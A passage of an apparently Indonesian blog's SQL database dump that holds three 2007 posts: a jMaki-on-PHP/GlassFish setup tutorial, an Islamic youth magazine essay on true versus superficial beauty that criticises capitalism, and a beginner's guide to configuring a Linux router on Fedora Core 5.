/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2. Go to &quot;jmaki-php-0.9.7.2\\jmaki-php\\core&quot; and invoke &quot;ant&quot;. This creates &quot;dist\\jmaki-core.zip&quot;.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3. Unzip the contents of &quot;jmaki-core.zip&quot; under the &quot;web&quot; directory of the project created in the link followed from first step.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4. Redeploy your project and your first jMaki widget in a PHP page deployed on GlassFish is now available at &quot;http://localhost:8080/hellophp/jmaki-core/index.php&quot;.</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If you look at &quot;index.php&quot; in the IDE, the page contains the following code fragments:</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php addWidget(&quot;hello&quot;); ?&gt;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php addWidget( array( &quot;name&quot; =&gt; &quot;hello2&quot;,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;args&quot; =&gt; &quot;{name: \'Duke\'}&quot;)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ); ?&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If you look at the source code of the generated page, the PHP code is converted to JavaScript code as shown below:</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;link type=\'text/css\' rel=\'stylesheet\' href=\'http://localhost:8080:8080/hellophp/jmaki-core/resources/hello/component.css\'&gt;&lt;/link&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;script type=\'text/javascript\' src=\'http://localhost:8080:8080/hellophp/jmaki-core/resources/hello/component.js\'&gt;&lt;/script&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;script type=\'text/javascript\'&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmaki.addWidget({uuid:&quot;hello_2&quot;,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name:&quot;hello&quot;,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; widgetDir:&quot;http://localhost:8080:8080/hellophp/jmaki/resources/hello&quot;,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; script:&quot;http://localhost:8080:8080/hellophp/jmaki/resources/hello/component.js&quot;});<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/script&gt;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;link type=\'text/css\' rel=\'stylesheet\' href=\'http://localhost:8080:8080/hellophp/jmaki-core/resources/hello2/component.css\'&gt;&lt;/link&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;script type=\'text/javascript\' src=\'http://localhost:8080:8080/hellophp/jmaki-core/resources/hello2/component.js\'&gt;&lt;/script&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;div id=&quot;hello2_3&quot; class=&quot;hello2&quot;&gt;&lt;/div&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;script type=\'text/javascript\'&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmaki.addWidget({uuid:&quot;hello2_3&quot;,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name:&quot;hello2&quot;,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; widgetDir:&quot;http://localhost:8080:8080/hellophp/jmaki-core/resources/hello2&quot;,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; args: {name: \'Duke\'},<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; script:&quot;http://localhost:8080:8080/hellophp/jmaki-core/resources/hello2/component.js&quot;});<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/script&gt;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Notice the JavaScript code shows the host + port as &quot;localhost:8080:8080&quot;. This issue is followed here.<br />&nbsp;&nbsp; 3. Build, Install and Run a slightly advanced sample.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1. Go to &quot;jmaki-php-0.9.7.2\\jmaki-php\\samples\\loadtable&quot; and invoke &quot;ant&quot;. This creates &quot;dist\\jmaki-loadtable-php-0.9.7.2.zip&quot;.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2. Unzip the contents of this zip file under the &quot;web&quot; directory of your project.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3. Redeploy you project and the sample is now deployed at &quot;http://localhost:8080/hellophp/web/jmaki-loadtable/index.php&quot;.</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This sample shows a Dojo DataTable loading static data. The code fragment to add the widget to the page is:</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addWidget(\'dojo.table\', null, null, null, &quot;tabledata.json&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ?&gt;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; You can look at the generated source using &quot;View Source&quot;. A nice twist to try is to dynamically load the data from a database using JPA as shown here.</p><p>None of the samples that use XMLHttpProxy (rssData, cl-mashup and mapit) will work because I could not find XSLT extension for Quercus. This issue is followed here. Other users have asked similar question with no clear answer.</p>',1,1,8);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (42,'2007-09-01 13:18:54','Beauty and the Beast','STUDIA Edisi 357/Tahun ke-8 (3 September 2007)\r\nhttp://studia-online.com; http://dudung.net; http://gaulislam.com\r\n\r\n<b>Beauty and the Beast</b>\r\n<i>[ria: riafariana@yahoo.com]</i>\r\n\r\nBeauty and the beast, kali ini bukan untuk membahas lagu atau film dari negeri Barat sono yang sudah kondang gulindang. Tapi kali ini kita akan membahas kecantikan versus keburukan. Why? Supaya kita bisa membedakan mana cantik betulan dan mana yang palsu atau beast yang dibungkus sedemikian rupa sehingga kehilangan bentuk aslinya dan terlihat cantik semu.\r\n\r\nBeauty, perempuan mana yang nggak mau disebut beautiful? Pasti deh hidungmu bakal kembang kempis kalo ada yang bilang how beautiful you are. Apalagi kalo bodimu menunjang dengan tubuh yang semampai (bukan semester tak sampai, lho), langsing, putih dan rambut lurus indah terurai. Walah...persis iklan-iklan di televisi. Kamu pun jadi percaya seratus persen bila ada yang memuji bahwa kamu terlihat cantik dengan modal sedemikian rupa. Sudah nggak keingat lagi kalo itu semua cuma rayuan gombal yang basi dan pasti ada maunya.\r\n\r\nSedangkan bagi kamu yang nggak punya ciri-ciri di atas, pasti cuma manyun karena merasa diri nggak cantik. Udah tubuh kalo nggak kelewat kurus pastilah kelewat gemuk, kulit coklat kusam plus rambut yang keriting. Duh, seakan-akan kelahiranmu di dunia menjadi sebuah kutukan dengan penampilan seperti ini. Kamu merasa menjadi perempuan paling merana sedunia karena tak ada sedikit pun kriteria cantik yang bisa dibanggakan. Tapi apa iya sih, definisi cantik cuma yang kayak gini aja?\r\nCantik, bagaimanakah?\r\n\r\nBeauty is in the eye of the beholder. Kecantikan itu tergantung siapa yang melihat dan menilai. Di jaman Kaisar Romawi dulu, perempuan cantik adalah yang bertubuh gendut dan subur. Kalo nggak percaya, coba lihat buku komik koleksimu. Yang jadi primadona kebanyakan perempuan bertubuh subur dan bukannya si kurus kering. Perempuan kurus dianggap kurang gizi dan tidak menarik.\r\n\r\nSeiring perkembangan waktu, kriteria cantik menjadi berubah. Karena manusia terutama perempuan mempunyai kecenderungan mudah menjadi gemuk daripada kurus, maka ada pihak-pihak tertentu melihat peluang ini. Diciptakanlah stereotip perempuan cantik itu dengan tubuh yang langsing cenderung kurus. Model-model iklan dan peragawati adalah ikon untuk mengopinikan bagaimana menjadi perempuan cantik. Berlomba-lombalah perempuan seluruh dunia meniru ikon itu. Obat pencahar dengan berbagai merek laris manis diserbu perempuan supaya dirinya bisa menjadi langsing dan kurus.\r\n\r\nBarbie adalah gambaran sempurna tentang sosok perempuan ideal dalam bentuk boneka. Tubuh ramping, bagian pinggul bak gitar Spanyol, hidung mancung, mata biru, bibir tipis, kulit putih dan rambut pirang. Perempuan seluruh dunia pun berlomba-lomba meniru sosok ini tak peduli dengan cara apa pun. Jadilah laris manis obat pelurus rambut, pemutih kulit, pelangsing tubuh hingga dokter bedah untuk kecantikan.\r\n\r\nPerempuan gendut dengan kulit coklat atau hitam dicitrakan sebagai perempuan jelek di banyak film-film produksi dalam dan luar negeri. Diopinikan dengan gencar agar para perempuan merasa malu menjadi gendut dan berkulit yang tidak putih. Jadilah para perempuan bukan lagi sibuk mengurusi akhlak, upgrade pemikiran, dan iman tapi malah pusing mikirin berat badan, kosmetik terbaru apa yang lagi in, atau baju model apa yang lagi musim. Bagi yang berduit operasi plastik memancungkan hidung, sedot lemak, menghilangkan kerut wajah hingga (maaf) payudara pun dipermak di sana sini. Tujuannya, tampil cantik secara fisik.\r\n\r\nPadahal, kecantikan fisik sama sekali nggak berbanding lurus dengan kecantikan akhlak dan sikap. Seperti inikah gambaran cantik yang kita inginkan?\r\nSiapakah si cantik (beauty)?\r\n\r\nSi cantik atau the beauty adalah seseorang yang padanya terpancar kecantikan alami dan sejati. Bukan cantik yang pura-pura dengan memakai topeng kosmetik atau pun kesemuan yang pasti akan luntur.\r\n\r\nSi cantik ini adalah yang mempunyai beauty luar dalam dengan bukti akhlak yang baik, otak yang cerdas dan paling utama adalah iman yang mantap. Kamu bakal bisa merasakan seseorang itu cantik ketika kamu merasa damai di dekatnya. Kamu nggak bakal terlukai karena pedasnya perkataan. Sebaliknya, kamu akan merasa selalu bisa introspeksi bila berinteraksi dengannya.\r\n\r\nKulit si cantik selalu terlindung di balik kain kerudung dan jilbabnya. Hanya laki-laki yang bertanggung jawab saja yang mampu menyibak pesona kecantikan alami di baliknya. Bukan tropi kuningan, segepok rupiah atau pun secarik kertas penghargaan. Tapi nilai kecantikan perempuan ini adalah dunia-akhirat. Tak ada harta dunia yang mampu membelinya.\r\n\r\nBiar kata secara fisik tidak cantik menurut pendapat orang, perempuan jenis ini tak pernah ambil pusing. Kurus atau pun gendut bukan masalah besar lagi asalkan pola hidup sehat telah dijalankan. Karena tak dipungkiri ada perempuan yang membawa gen keluarga yang memang bertubuh gendut meski pola makannya sedikit. Begitu sebaliknya, ada perempuan yang sulit gemuk meski sudah berusaha makan banyak.\r\n\r\nKulit tak harus putih asal selalu ditutup dengan sempurna sesuai perintah Allah. Hidung pesek, bibir yang tak setipis bibirnya Cindy Crawford, dan dagu yang sederhana tidak seseksi dagu Nadine Candrawinata, itu semua nggak masalah sama sekali. Bahkan Maha Sempurna Allah Yang Maha Tahu proporsi ideal wajah perempuan. Meski pesek tapi masih terlihat manis apalagi dengan ghodul bashor-nya (menundukkan pandangan) mata karena takwa. Bibir meski tak tipis tapi selalu basah dengan dzikrullah dan kalimat yang baik menjadikannya terlihat indah.\r\n\r\nSungguh, kecantikan alami akan terpancar dari perempuan semacam ini. Bila ada senyum terukir, bukan demi gelar acara beauty pageant. Tapi semata-mata keramahan tulus yang hadir bernilai sedekah dan menuai pahala. Pancaran matanya bening bukan genit. Ayunan langkahnya ringan ke majelis-majelis ilmu dan dakwah. Cantik jenis ini tak akan pernah lekang dimakan usia dan zaman. Jadi meskipun satu ketika nanti masa muda pergi dan digantikan oleh masa tua, perempuan ini akan tetap terlihat cantik di mata siapa pun yang memandang. Yang begini ini nih yang pantas disebut inner beauty sejati.\r\nSiapakah si jelek (beast)?\r\n\r\nSi jelek atau the beast adalah mereka yang mempunyai kecantikan semu dan penuh kepura-puraan. Kecantikan yang terpancar darinya cuma sebatas permukaan dan penuh dengan polesan di sana-sini. Semua yang ada di dirinya serba palsu, ya senyumnya, ya ketulusannya, dan lain-lain deh. Mereka ini ibarat manekin yang bisa berjalan. Tahu kan apa itu manekin? Boneka cantik yang biasa dipajang di toko-toko baju, diam tak bergerak, tak punya otak. Namanya juga benda mati.\r\n\r\nKecantikan jenis ini sangat suka dengan kilatan kamera dan rekaman video. Setiap inci senyumnya ada yang nge-shoot. Tanpa itu semua nggak bakal dia mau senyum atau pun berbuat baik pada sesama. Demi sekadar mendapat pengakuan cantik, cewek-cewek seperti ini merasa perlu mengikuti berbagai jenis beauty pageant untuk mendapat pengakuan dari para juri. Kasihan banget kan, hanya sekadar untuk mendapat predikat putri tercantik, para cewek ini kudu obral harga diri. Aurat diumbar kemana-mana, rasa malu sudah tergadaikan karena gepokan rupiah dan iming-iming ketenaran nama.\r\n\r\nJadi kamu jangan terkecoh dengan kecantikan jenis yang ini. Selain nggak riil, kecantikan ini juga nggak bakal tahan lama. Berapa sih usia seseorang mampu bertahan dengan kulit mulus dan kencang? Beberapa tahun ke depan, kulit luar yang selalu dibangga-banggakan itu akan kendor dan keriput. Biar kata krim awet muda merek apa pun yang dipakai, nggak pernah ada krim yang mampu melawan kodrat alam atau sunatullah. Menjadi tua adalah satu kepastian yang tak mungkin ditolak siapa pun juga, kecuali kematian.\r\n\r\nKalo udah ngomongin kematian, yang namanya kulit semulus apa pun ia hanyalah onggokan benda mati yang segera menjadi santapan cacing tanah. Secantik dan semolek apa pun seorang perempuan, semulus dan sehalus apa pun kulitnya, itu semua tak ada gunanya bila ajal telah menjemput. Bahkan di akhirat kelak, kulit cantik yang kerjaannya umbar aurat ini akan menjadi kulit terjelek yang pernah ada. Kulit itu akan dibakar di api neraka karena suka dipamerkan kepada laki-laki yang tak berhak untuk menikmatinya. Hiii…\r\nSiapa di balik beauty and the beast?\r\n\r\nSesuatu di balik beauty sudah jelas dong. Islam sebagai ideologi alias the way of life menciptakan perempuan-perempuan cantik luar-dalam. Islam mampu menghasilkan perempuan berkualitas dalam posisinya sebagai manusia sesungguhnya, bukan boneka pun bukan makhluk jadi-jadian. Maksudnya jadi-jadian adalah sosok yang tak mengenal dirinya sendiri dan bahkan merasa asing dengan kepribadiannya sendiri.\r\n\r\nItu semua bisa terjadi karena tak pernah ada keraguan lagi bahwa Islam berasal dari Yang Maha Menciptakan dan Mengetahui kapasitas manusia dalam kedudukannya sebagai hamba. Seluruh aturan hidup yang diberikannya untuk manusia termasuk hamba berjenis perempuan semuanya pas dan klop dengan kebutuhan perempuan sendiri. Sebagai misal perintah menutup aurat ternyata selaras dengan kebutuhan perempuan untuk melindungi kulit lembutya dari sengatan matahari. Tak perlu lagi berbagai jenis krim tabir surya dibeli yang itu semua ujung-ujungnya adalah menguntungkan pengusaha kapitalis. Tapi ingat, ketika kamu menutup aurat bukan karena supaya kulit menjadi sehat loh. Tapi itu semua dijalankan sebagai bukti kepatuhan kita pada Allah Swt. Setuju kan?\r\n\r\nSedangkan sesuatu di balik the beast adalah semua ideologi yang tidak sesuai dengan fitrah kemanusiaan, tidak memuaskan akal dan pastinya menggelisahkan jiwa. Ini semua dipenuhi oleh dua ideologi besar dunia yaiti kapitalisme dan sosialisme. Karena sosialisme telah ambruk sebelum genap satu abad usianya, maka untuk sementara topik ini kita lewati dulu. Fokus kita tujukan pada kapitalisme yang saat ini seakan-akan telah menguasi dunia dengan akidah sekulerisme yaitu memisahkan agama dari kehidupan.\r\n\r\nKapitalisme inilah biang kerok semua kerusakan di bumi termasuk hadirnya perempuan-perempuan sebagai the beast alias korban keserakahan para borjuis capital. Ideologi inilah yang menyulap perempuan lugu menjadi boneka-boneka manekin yang diberinya pakaian tapi telanjang. Tubuh perempuan yang seharusnya dilindungi malah diumbar auratnya kemana-mana demi menangguk untung materi. Wajah perempuan juga tak ubahnya badut dan topeng karena tebalnya lapisan kosmetik membelit kulit. Dari ujung rambut yang penuh semprotan hair spray hingga ujung kaki yang penuh coretan kuteks, menjadikan perempuan tak beda dengan seonggok benda mati.\r\n\r\nKejamnya perlakuan kapitalisme terhadap perempuan sepeti gambaran di atas, tidakkah menggugah hati nurani dan akal kita untuk berontak? Cuma mayat hidup saja yang rela dirinya dan ketinggian martabatnya sebagai manusia diinjak-injak sedemikian rupa. So, bila sudah tahu dampak buruk kapitalisme terhadap kehidupan, ayo kita sama-sama campakkan ideologi ini ke tong sampah peradaban. Kita ganti ideologi Kapitalisme ini dengan Islam. Yup, Islam saja jawabannya. Kesimpulannya nih, ayo kita perjuangkan Islam sebagai ideologi yang akan mengganyang dan mengubur kapitalisme yang sudah sekarat ini. Ayo berjuang bersama!',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (43,'2007-09-03 14:04:24','Bikin router menggunakan linux','Tutorial bikin router menggunakan linux pemula seperti saya dengan ip nat untuk jaringan localnya, dan satu ip public untuk internetnya yang akan di sharing ke jaringan lokal\r\n\r\nKarna ga’ banyak cikminyak ciminyak gini gitu kita langsung saja yah bikin router menggunakan linux. Dan juga karna saya orangnya pelupa juga, makanya saya coba menulis setelah saya melakukannya sendiri.. soalnya kemaren abis di test bikin router setelah baca gini gitu, saya bisa bikin router sederhana tanpa ada firewall segala macamnya, trus saya coba lagi bikin router dengan linux lagi eh lupa konfigurasinya, soalnya saya bikin ginian pengen memahami linux itu sendiri dan iseng iseng juga, dan juga saya melakukan ini Cuma sekali sekali he he he :D jadi terpaksa saya tulis deh, biar ga’ lupa ;)\r\n\r\nAkan tetapi jika siapa saja termasuk saya yah, yang pengen belajar jaringan komputer sebaiknya siapa saja atau saya sendiri, harus membaca dulu TCP/IP atau konsep dasar TCP/IP, ini Cuma sekedar saran, dan ini juga termasuk saran buat saya :D saya aga’ pemalas baca baca yang ruet, tapi kata master master yang saya tanya, saya disuruh belajar gituan dulu, dan pahami konsep TCP/IP bukan di hafal, tapi di pahami, kalo bisa pinter lagi, baca deh sejarahnya juga, kalo perlu sejarah komputer sekalian, tapi karna saya udah tua, jadi saya ga’ baca gituan,, pikiran saya sekarang ini pengen pengen ngelamar pacar saya, tapi mo gimana lagi,, saya harus paham ini dulu,, kalo ga’, ga’ bisa makan saya dan juga seandainya saya dah kawin, makan keluarga saya :”> duh maloe deh, saya masih single coi :-> hueheheheh ..\r\n\r\nPada kali ini saya coba menggunakan fedora core 5 ,, tapi ini konsepnya sama aja kek fedora berapa aja.. dan juga saya baru belajar juga neh, make’ fedora yang sebelumnya saya bisa pake’ slackware bikin router dengan ip localnya NAT, tanpa firewall juga seh :D tanpa perlindungan juga\r\n\r\nPertama sekali kita instal dulu sebuah pc dengan procesor apa saja.. di anjurkan komputer pentium 2 atau pentium 3, dengan linux fedora core berapa aja, yang penting komputer yang bisa di instal linux, udah beres J . Dengan mempunyai dua card ethernet, agar lebih mudah, kita pilih ethernet card dengan chipset realtek, yang sudah terpasang tentunya J\r\n\r\nKemudian kita set IP pada ethernet dengan perumpamaan kita mempunya 1 buah IP public yang di kasih oleh ISP .. contohnya adalah :\r\n\r\nIP = 111.222.99.88/26 yang berarti adalah net idnya =64 broadcastnya=127\r\n\r\nNETMASK = 255.255.255.192\r\n\r\nGATEWAY = 111.222.99.126\r\n\r\nDNS1 = 222.124.4.180\r\n\r\nDNS2 = 202.134.0.155\r\n\r\nDengan konfigurasi di atas kita seharusnya bisa melakukan ping yahoo.com atau sekaligus ngebrowsing lewat console .. pada shell kita tidak bisa melihat gambar *catatan\r\n\r\nPertama yang kita set adalah kita aktifkan dulu ethernetnya : biasanya kalau linux sekarang udah mendetek ethernet kita ,, dan kita langsung aja isikan ip address pada card / interfaces pertama yang kita anggap adalah eth0 dengan cara\r\n\r\n \r\n\r\nIP ADDRESS\r\n\r\nIp address kita berikan yang telah diberikan oleh ISP kepada kita pada file\r\n\r\nifcfg-eth0 yang terletak pada /etc/sysconfig network-scripts/ pada ethernet pertama dengan ip 222.111.99.88\r\n\r\nPada shell kita ketikan perintah\r\n\r\n[root@qnoys ~]# vi /etc/sysconfig/network-scripts/ifcfg-eth0\r\n\r\nDEVICE=eth0\r\n\r\nBOOTPROTO=static\r\n\r\nBROADCAST=222.111.99.127\r\n\r\nIPADDR=222.111.99.88\r\n\r\nNETMASK=255.255.255.192\r\n\r\nNETWORK=222.111.99.64\r\n\r\nONBOOT=yes\r\n\r\nTYPE=Ethernet\r\n\r\nGATEWAY\r\n\r\n \r\n\r\nKemudian kita isikan gatewaynya 222.111.99.126 pada file network yang berada pada /etc/sysconfig/\r\n\r\nDengan perintah :\r\n\r\n[root@qnoys ~]# vi /etc/sysconfig/network\r\n\r\nNETWORKING=yes\r\n\r\nHOSTNAME=qnoys.com\r\n\r\nGATEWAY=222.111.99.126\r\n\r\n \r\n\r\nSelanjutnya kita cek lagi dengan cara test ping ke gatewaynya, yaitu 222.111.99.126\r\n\r\n \r\n\r\n[root@qnoys ~]# ping 222.111.99.126\r\n\r\nPING 222.111.99.126 (222.111.99.126) 56(84) bytes of data.\r\n\r\n64 bytes from 222.111.99.126: icmp_seq=0 ttl=64 time=0.421 ms\r\n\r\n64 bytes from 222.111.99.126: icmp_seq=1 ttl=64 time=0.212 ms\r\n\r\n64 bytes from 222.111.99.126: icmp_seq=2 ttl=64 time=0.185 ms\r\n\r\n64 bytes from 222.111.99.126: icmp_seq=3 ttl=64 time=0.418 ms\r\n\r\n64 bytes from 222.111.99.126: icmp_seq=4 ttl=64 time=0.257 ms\r\n\r\n64 bytes from 222.111.99.126: icmp_seq=5 ttl=64 time=0.221 ms\r\n\r\n— 222.111.99.126 ping statistics —\r\n\r\n6 packets transmitted, 6 received, 0% packet loss, time 4999ms\r\n\r\nrtt min/avg/max/mdev = 0.185/0.285/0.421/0.098 ms, pipe 2\r\n\r\ncobalah ping ke yahoo.com dengan perintah “ping yahoo.com”\r\n\r\n \r\n\r\n[root@qnoys ~]# ping yahoo.com\r\n\r\nping: unknown host yahoo.com\r\n\r\n[root@qnoys ~]#\r\n\r\n \r\n\r\nIni merupakan ping domain,, karna kita belum melakukan atau memberikan ip dnsnya maka kita ga’ bisa ngeping domain domain yang berada di internet J jadi seting dnsnya dulu :P\r\n\r\n \r\n\r\nDNS\r\n\r\n \r\n\r\nSelanjutnya kita berikan ip dnsnya yang telah diberikan oleh ISP tadi = 222.124.4.180\r\n\r\nDan 202.134.0.155 pada file resolv.conf dengan perintah\r\n\r\n[root@qnoys ~]# vi /etc/resolv.conf\r\n\r\nnameserver 222.124.4.180\r\n\r\nnameserver 202.134.0.155\r\n\r\n \r\n\r\nsetelah konfigurasi 3 point di atas dengan mengeset ip address, gatewaynya, dan dnsnya , selanjutnya kita restart network kita dengan perintah\r\n\r\n \r\n\r\n[root@qnoys ~]# /etc/init.d/network restart\r\n\r\nShutting down interface eth0: [ OK ]\r\n\r\nShutting down interface eth1: [ OK ]\r\n\r\nShutting down loopback interface: [ OK ]\r\n\r\nDisabling IPv4 packet forwarding: [ OK ]\r\n\r\nSetting network parameters: [ OK ]\r\n\r\nBringing up loopback interface: [ OK ]\r\n\r\nBringing up interface eth0: [ OK ]\r\n\r\nBringing up interface eth1: [ OK ]\r\n\r\nPastikan tidak ada tanda [FAILED] pada saat restart jika masih terdapat status begituan.. coba cek lagi dimana letak kesalahannya ..\r\n\r\nPoint point konfigurasi ini harus ada supaya kita terhubung ke internet .dan sekarang kita coba test ping ke gateway lagi, jika reply, selanjutnya kita test lagi ngeping ke DNS kita dengan ip 222.124.4.180 dengan :\r\n\r\n[root@qnoys ~]# ping 222.124.4.180\r\n\r\nPING 222.124.4.180 (222.124.4.180) 56(84) bytes of data.\r\n\r\n64 bytes from 222.124.4.180: icmp_seq=0 ttl=63 time=0.544 ms\r\n\r\n64 bytes from 222.124.4.180: icmp_seq=1 ttl=63 time=0.410 ms\r\n\r\n64 bytes from 222.124.4.180: icmp_seq=2 ttl=63 time=0.527 ms\r\n\r\n64 bytes from 222.124.4.180: icmp_seq=3 ttl=63 time=0.411 ms\r\n\r\n64 bytes from 222.124.4.180: icmp_seq=4 ttl=63 time=0.428 ms\r\n\r\n64 bytes from 222.124.4.180: icmp_seq=5 ttl=63 time=0.431 ms\r\n\r\n64 bytes from 222.124.4.180: icmp_seq=6 ttl=63 time=0.423 ms\r\n\r\n— 222.124.4.180 ping statistics —\r\n\r\n7 packets transmitted, 7 received, 0% packet loss, time 5999ms\r\n\r\nrtt min/avg/max/mdev = 0.410/0.453/0.544/0.056 ms, pipe 2\r\n\r\n[root@qnoys ~]#\r\n\r\n \r\n\r\nKemudian coba ping ke dns secondarynya 202.134.0.155\r\n\r\n[root@qnoys ~]# ping 202.134.0.155\r\n\r\nPING 202.134.0.155 (202.134.0.155) 56(84) bytes of data.\r\n\r\n64 bytes from 202.134.0.155: icmp_seq=0 ttl=61 time=42.4 ms\r\n\r\n64 bytes from 202.134.0.155: icmp_seq=1 ttl=61 time=38.1 ms\r\n\r\n64 bytes from 202.134.0.155: icmp_seq=2 ttl=61 time=41.4 ms\r\n\r\n64 bytes from 202.134.0.155: icmp_seq=3 ttl=61 time=42.4 ms\r\n\r\n— 202.134.0.155 ping statistics —\r\n\r\n4 packets transmitted, 4 received, 0% packet loss, time 3003ms\r\n\r\nrtt min/avg/max/mdev = 38.100/41.101/42.475/1.787 ms, pipe 2\r\n\r\n[root@qnoys ~]#\r\n\r\n 